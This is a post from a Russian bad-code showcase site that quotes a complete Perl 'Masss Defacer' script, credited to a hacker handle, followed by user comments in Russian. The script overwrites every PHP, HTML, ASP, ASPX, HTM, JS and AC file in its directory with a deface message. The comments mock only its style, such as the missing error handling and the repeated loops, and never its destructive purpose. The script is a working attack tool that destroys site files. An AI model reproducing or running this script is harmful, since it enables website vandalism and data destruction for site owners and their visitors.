1. Perl / Говнокод #307

    −263.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    #!/usr/bin/perl -w 
    #Masss Defacer v2.0 
    # Coded By illuz1oN 
    # Creditz - Nostur 
    $def = 'YOUR LAME DEFACE PAGE HERE =)'; 
    {        print "[+]DEFACING...\n"; 
             print"[+]DEFACING .PHP FILES...\n"; 
    		 my @php = glob("*.php"); #Files 
         foreach my $deface(@php){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .HTML FILES...\n"; 
             my @html = glob("*.html"); #Files 
         foreach my $deface(@html){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .ASP FILES...\n"; 
    		 my @asp = glob("*.asp"); #Files 
         foreach my $deface(@asp){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .ASPX FILES...\n"; 
    		 my @aspx = glob("*.aspx"); #Files 
         foreach my $deface(@aspx){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .HTM FILES...\n"; 
    		my @htm = glob("*.htm"); #Files 
         foreach my $deface(@htm){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .JS FILES...\n"; 
    	my @js = glob("*.js"); #Files 
         foreach my $deface(@js){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .AC FILES...\n"; 
    		 my @ac = glob("*.ac"); #Files 
         foreach my $deface(@ac){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
      print "[+]Pages Should Be Defaced!\n"; 
     
    } 
    #Coded By illuz1oN 
    #Credits - Nostur!

    Запостил: guest, 29 Декабря 2008

    Комментарии (7) RSS

    • Bobby:
      Не говнокод. Обычный Perl, как на нем писали в начале 90-х. Разве что можно было перезапись файла в отдельный sub оформить.
      Ответить
    • Протев!:
      Говнокод!!!!

      >open(DEFACE, '>', $deface)
      мдоооо...
      Интересно, нахрен придумали $_

      >open(DEFACE, '>', $deface);
      print DEFACE $def || print "[-]Fxcked up: $!\n";
      close(DEFACE)

      это ваще песдец, чуть не уссался.
      нет обработки ошибки открытия дескриптора.
      т.е. если не открыть, нахрена колдовать над закрытым дескриптором - i.e. close(DEFACE);
      надо next делать.
      ужость в общем. =\\\

      Капча согласна: 19861
      Ответить
    • > Интересно, нахрен придумали $_
      Чтобы говнокодеры могли писать невразумительный говнокод с его использованием.

      > это ваще песдец, чуть не уссался.
      > нет обработки ошибки открытия дескриптора.

      В такой мелкой утилитке это и не надо. Не открылось - последующий print не сможет записать в дескриптор, и close не сможет закрыть файл, но это никого не колышет.

      В общем, говнокод средненький. Каменты более показательны.
      Ответить
    • новички все так кодят
      Ответить
    • Странно, что никто не видит говнокода в том, что паттерны для файлов можно было бы засунуть в массив и сделать вложенный цикл, в результате чего код станет в 7 раз короче.
      Ответить
      • Странно, что Вы не прочитали ПЕРВЫЙ же коммент - "Разве что можно было перезапись файла в отдельный sub оформить."
        Цикл и/или sub - самоочевидно, вот и не о чём говорить.
        А появляются такие монстры обычно уже при поддержке - копипаста в ответ на "а ещё вот такие файлы".
        Ответить
        • sub появляется при повторном использовании кода. Я же не вижу здесь повторного использования кода - лишь повторное использование данных. Так что мой коммент отличается по сути от первого коммента, и я не считаю их взаимозаменяемыми. Сабы тут не нужны.
          Ответить

    Добавить комментарий